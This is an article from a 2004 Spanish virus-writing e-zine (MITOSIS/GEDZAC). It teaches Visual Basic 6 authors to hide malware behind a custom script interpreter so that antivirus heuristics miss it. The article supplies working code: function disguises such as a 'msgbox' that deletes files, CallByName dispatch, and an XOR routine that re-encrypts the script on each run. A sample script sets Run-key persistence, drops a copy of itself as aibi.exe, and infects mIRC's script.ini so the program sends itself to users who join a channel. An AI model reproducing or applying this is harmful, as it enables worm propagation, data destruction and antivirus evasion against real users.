(C) MITOSIS #2 E-Zine/GEDZAC 2004

Tema          : Polimorfismo en Visual Basic: El arte de interpretar...
Autor         : (\)emli(Y)
Válido para   : Microsoft Visual Basic 6

Como todos ya saben, el polimorfismo y el  Visual Basic  no se llevan de la mano.
Podemos  hacer virus polimorficos en  vbs, pero ¿Por que  no  en Visual Basic? La
respuesta a esta pregunta es muy facil. Lástima que yo no la conozca ;)

La razon de que en el vbs se puedan usar metodos polimorficos es porque el vbs es
solo un script. El programa que verdaderamente hace  el trabajo es el wscript.exe
ubicado en la carpeta de windows. Este lee y ejecuta las órdenes que aparezcan en
ese script. Se le puso Visual Basic Script debido  a que el lenguaje en el que se
escriben es sino igual, muy parecido al  del Visual Basic. El polimorfismo  tiene
lugar cuando el script se modifica asi mismo,y lo puede hacer ya que el script es
solo texto. Es código sin compilar capaz de cambiar asi como se cambia un txt. En
Visual Basic  esto no  se puede hacer ya  que para  que funcione el programa debe
estar previamente compilado.

Lo que haremos será hacer un interprete de scripts, que reconozca funciones y las
ejecute, que pida  y devuelva valores y  que ejecute nuestras  propias funciones.
Este script deberá estar  dentro del Exe (al final), y  nuestro Interprete deberá
justamente interpretar las órdenes  del script y realizarlas correctamente. Seria
algo asi como el  trabajo que realiza el wscript.exe. Pero lo  bueno viene en que
podemos hacer nuestro propio lenguaje de script, segun nos quede mas comodo y asi
burlarnos de los avs.

P.Ej.: Si en el script figurase lo siguiente: 
MsgBox "Gedzac Has You", vbCritical, "Mitosis E-Zine"

Nuestro interprete deberá reconocer las órdenes, en  este caso la función MsgBox,
y ejecutarlas con  sus  respectivos  parámetros. Ahora, podriamos complicarla aún
mas agregando funciones de encriptacion para los Script. De esta manera el script
estaria encriptado, imposible de leer para las personas o programas ajenos.
Hasta aqui todo bien, pero ¿por que polimorfico?. Al igual que los vbs, podriamos
hacer que cada vez que se ejecute nuestro bicho, cambie la estructura del script,
pero sin afectar en lo mas mínimo al programa.
Pensemos... Si nuestro "Programita" lo que hace es buscar funciones y ejecutarlas
y el script esta encriptado sin método externo alguno para desencriptarlo...
¿El antivirus detectará a nuestro bicho? Simplemente NO porque nuestro interprete
no contendrá código dañino alguno que  sea potencialmente peligroso  frente a los
ojos de los  malditos antivirus. De  esta manera, estariamos ejecutando funciones
peligrosas y ya conocidas, y al mismo tiempo, burlando a la heurística ;)

Algo que tiene que quedar claro antes de seguir, es que las funciones que nuestro
programa interpretará no son las de VisualB, sino que seran solo las aquellas que
hayan sido creadas por nosotros. Osea que si ponemos msgbox, y no tenemos ninguna
funcion o procedimiento llamado asi, dará error.

Supongamos que nuestro script dice algo asi:

msgbox "C:\Command.com"

y tenemos la siguiente funcion:

Private Function msgbox(path As String)
Kill path
End Function

Programamos a nuestro interprete para que la funcion msgbox no muestre un mensaje
sino que borre  los  archivos  que esten en los parámetros. Segun el SrNorton, el
script VBS  solo  quiere  mostrar  un mensaje, pero  segun nuestro  interprete se 
eliminará lo que se pida. ¿Comprenden?
Para que se  comprenda mejor el  funcionamiento a realizar por nuestro "programa"
he desarrollado los siguientes esquemas:


Esquema del Interprete SIN Encriptacion
¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯¯¯¯¯¯¯¯¯¯
	Cabezera PE
	Programa Interprete --->--->---> Leer Script --->---> Buscar Funciones:
	Script De Órdenes						|
		|							|
		|							|
		|							|
	MsgBox "Gedzac Has You"				      Ejecutar Funciones
								 Encontradas




Esquema del Interprete CON Encriptacion
¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯¯¯¯¯¯¯¯¯¯
	Cabezera PE
	Programa Interprete --->--->---> Leer Script --->--->--->--->.
	Script De Órdenes		     |			     |
		|			     |	         ,--> Desencriptar Script
		|		     Buscar Llave de-->-´	     |
		|		     desencriptacion	      Buscar Funciones
     Tj~[va9;^|}cxz9Qxj9@vl;					     |
							      Ejecutar Funciones
		^						     |
		'-<----<----<----<----Encriptar Script ----<----<----'

Espero que se halla entendido...
Hasta ahora  lo teórico  todo  bien. Pero, ¿como  hariamos que  nuestro  programa
reconozca las órdenes?. Esto es lo difícil, y mas que nada "denso".

Gracias a la funcion CallByName, se  pueden llamar a  procedimientos internos del
formulario o  modificar propiedades  de controles, desde cadenas  de tipo string.
Esto significa que si nuestro formulario contiene un procedimiento :

Private Sub Infectar(strPath as string)
...
End Sub

Podriamos llamarlo, por ejemplo, no desde el Call, sino desde :

CallByName Me, "Infectar", VbMethod, "C:\Command.com".

Como ven, puse la palabra Infectar entre comillas, esto significa que  es texto y
no una palabra clave interna de Visual. Texto como es el VBS. A esta altura ya se
les deben haber prendido la lamparita a mas de uno, pero para dar mas info paso a
explicar la estructura del CallByName mas detalladamente:

CallByName Object, ProcName As String, CallType As VbCallType, Args() As Variant

Object   : este es  el objeto o formulario que  contiene la  propiedad, funcion o
           procedimiento al cual se quiere llamar.
ProcName : esta es la propiedad o el procedimiento que se quiere llamar.
CallType : especifica el tipo de llamada. Solo veremos VbMethod, porque es el que
           se usa  para llamar a las funciones.
Args     : Son los  argumentos que necesiten las funciones a las cual llamaremos.
           Estas deben estar separadas por comas.


Supongamos que nuestro programa tiene las siguientes funciones:

'Las variables Ws y FSO corresponden a los siguientes objetos
'Set Ws = CreateObject("Wscript.Shell")
'Set FSO = CreateObject("Scripting.FileSystemObject")

Public Function Mensaje(ByVal prompt, Optional buttons = 0, Optional ByVal title)
If Not IsMissing(buttons) Then buttons = Val(buttons)
If IsMissing(title) Then title = App.EXEName
If title = "" Then title = App.EXEName
Mensaje = MsgBox(prompt, buttons, title)
End Function

Public Function LeerReg(ByVal strKey As String)
On Error Resume Next
LeerReg = Ws.RegRead(strKey)
End Function

Public Sub EscribirReg(ByVal bstrName As String, pvValue, Optional pvarType)
If IsMissing(pvarType) Then
Ws.RegWrite bstrName, pvValue
Else
Ws.RegWrite bstrName, pvValue, pvarType
End If
End Sub

Public Function FileExists(ByVal FileSpec As String) As Boolean
FileExists = FSO.FileExists(FileSpec)
End Function

Public Sub Copy(ByVal Source As String, ByVal Destination As String, _
Optional OverWriteFiles As String = "True")
On Error Resume Next
OverWriteFiles = CBool(OverWriteFiles)
FSO.CopyFile Source, Destination, OverWriteFiles
End Sub

Public Sub CambiaTributos(Path As String, Attributes)
Attributes = Val(Attributes)
SetAttr Path, Attributes
End Sub

'------------------------------------EOF-----------------------------------------

Pregunta: ¿Saltaría el antivirus, si  solo tenemos estas  funciones? Otra vez  te
contesto que no, ya que no  hay en estas funciones ninguna accion  peligrosa para
los ojos antiviricos. Ademas, aqui no hay ninguna palabra clave que haga saltar a
la heurística. 

Bien, lo mas dificil, pero no  imposible, es armar el motor principal. Recordemos
que a la hora de llamar a una  funcion msgbox, puede ser  facil programarlo, pero
no lo sera cuando querramos setear variables, hacer comparaciones, bucles, etc.

Una cosa que debes saber, es que los parámetros de  las funciones solo pueden ser
del tipo string. No podemos poner ni boleans, ni integers, ni nada de eso.

---------------------------------------------------------------------------------
NOTA: El motor completo para que los siguientes ejemplos funcionen correctamente,
se encuentra adjunto a esta E-Zine. El mismo, solo esta armado para funcionar con
los siguientes Scripts, y puede que no funcione en determinadas circunstancias.
---------------------------------------------------------------------------------

Ahora, supongamos que nuestro Script sea algo como este:

setear $X = "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\GDZ"
setear $Reg =  LeerReg($X)
setear $existo = FileExists($Windir & "\aibi.exe")
iff $reg = ""
    EscribirReg $X, $commandline
end if
iff $existo <> TRUE
    Copy $commandline, $windir & "\aibi.exe", True
else
    setear $Path = "C:\mIRC\script.ini"
    setear $mIRC = FileExists($Path)
    iff $mIRC <> FALSE
        setear $script = "n0=on 1:JOIN:#:if ( $me != $nick ) {/dcc send $NICK "
        setear $script = $script & $commandline & "}"
        Escribir $Path, "[script]"
        Escribir $Path, $script
    end if
end if


Como ven  estamos infectando  el script.ini del  mIRC. Esto es a modo ilustrativo
para que ovserven que si funciona esta técnia.

Ahora bien, el polimorfismo  entra en  juego no  en el script, sino desde nuestro
interprete. Decidi  no realizar un  ejemplo de esto, porque creo que si todos los
que leen este articulo realizan el mismo interprete con las mismas operaciones de
desencriptacion,  la  heuristica se reiria de  nosotros, por eso, lo mejor es que
cada uno,  realize sus propios motores y funciones polimorficas. Pero para que se
encaminen, este es un pequeño diagrama de como puede ser el polimorfismo:

Programa:

Private Sub Form_Load()
Dim Script As String
'El script que se lee al final del programa.
Script = "'K55.rDCRRDDX[XBYr]RZG[Xprsmvt"
Key = Mid(Script, InStr(Script, "'K") + 2, InStr(Script, ".") - 3)
Script = Mid(Script, InStr(Script, ".") + 1)
a = q(Script, Key)
ran = Int(Rnd * 100)
Script = "'K" & ran & "." & q(a, ran)
End Sub

Public Function q(ByVal j As String, ByVal k As Long) 'Funcion para des/encriptar
On Error Resume Next
For R = 1 To Len(j)
q = q & Chr(Asc(Mid(j, R, 1)) Xor k)
Next
End Function


Ahora, puede que alguno me  diga que en realidad mi programa no es polimorfico. Y
tiene razon. No estamos haciendo ningun programa polimorfico, sino que solo es el
script el que cambiará. Creo que  ocultar las acciones que  nuestro programa hace
es suficiente como para no  ser detectados por los  antivirus, y en todo caso, el
antivirus no  puede  tildar  de virus  a un interprete. Hay  muchos programas que
utilizan esta  técnica con  fines utiles, y  no  es un  delito llamar a funciones
propias. Además, esta técnica  puede ser utilizada para  cambiar las acciones que
realiza un virus, desde otra parte del mundo. P.Ej.: Podemos hacer que  el script
sea bajado desde internet, y asi  modificar a  nuestro gusto las  acciones. Seria
como una  especie de virus-troyano, pero  con la ventaja  de que  no  necesitamos
conectarnos directamente a la otra computadora. En fin... Tiene muchas utilidades
y no por leer e interpretar scripts nuestro programa es un virus.

Espero que les haya servido de algo...

			"Imposible??? Solo es una palabra."


(C) MITOSIS #2 E-Zine/GEDZAC 2004